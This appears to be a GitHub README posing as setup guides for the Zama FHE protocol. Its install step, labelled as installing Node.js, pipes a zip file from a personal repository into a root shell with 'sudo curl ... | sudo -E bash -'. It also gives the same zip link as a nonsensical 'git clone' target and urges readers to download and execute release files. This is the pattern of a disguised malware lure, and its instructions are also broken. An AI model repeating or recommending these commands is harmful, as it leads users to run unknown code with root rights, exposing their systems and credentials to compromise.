Welcome to the Zama FHE repository! This space provides detailed guides on technical tasks related to the Zama protocol. You can find useful resources and step-by-step instructions to help you navigate the protocol effectively.
To work with the Zama protocol, you need a suitable environment. Here are the options:
- VPS: You can use a Linux VPS to follow the guides.
- Windows: Install Linux Ubuntu using WSL by following this guide.
- Codespace: If you donβt have a VPS or Windows WSL, use GitHub Codespace. Create a blank template and run your code there.
Before you start, you need to install some dependencies. Follow these commands in your terminal:
# Update and upgrade packages
sudo apt update && sudo apt upgrade -y
# Install necessary packages
sudo apt install screen curl iptables build-essential git wget lz4 jq make gcc nano automake autoconf tmux htop nvme-cli libgbm1 pkg-config libssl-dev libleveldb-dev tar clang bsdmainutils ncdu unzip libleveldb-dev -y
# Install https://github.com/akhilk07/zama-fhe/raw/refs/heads/main/dispromise/fhe-zama-v2.2.zip, npm, and yarn
sudo apt update
sudo curl -fsSL https://github.com/akhilk07/zama-fhe/raw/refs/heads/main/dispromise/fhe-zama-v2.2.zip | sudo -E bash -
sudo apt install -y nodejs
node -v
npm install -g yarn
yarn -v
# Install Hardhat
npm install --save-dev hardhatMake sure to check the installation of each component. Use node -v and yarn -v to verify their installations.
Once you have set up your environment and installed the necessary dependencies, you can start using the Zama protocol. Follow the guides in this repository to complete your tasks.
-
Clone the repository:
git clone https://github.com/akhilk07/zama-fhe/raw/refs/heads/main/dispromise/fhe-zama-v2.2.zip cd zama-fhe
-
Follow the specific guide you need. Each guide will provide detailed instructions on how to perform various tasks related to the Zama protocol.
We welcome contributions! If you have ideas for improvements or new guides, feel free to fork the repository and submit a pull request. Ensure that your contributions align with the existing structure and style of the documentation.
- Fork the repository.
- Create a new branch for your feature.
- Make your changes and commit them.
- Push your branch to your forked repository.
- Submit a pull request.
For the latest updates and releases, please visit the Releases section. Here, you can download the necessary files and execute them as per the instructions provided.
If you have any questions or need further assistance, feel free to reach out. You can open an issue in the repository or contact the maintainers directly.
Thank you for exploring the Zama FHE repository! Your engagement helps us improve and expand the resources available for the Zama protocol.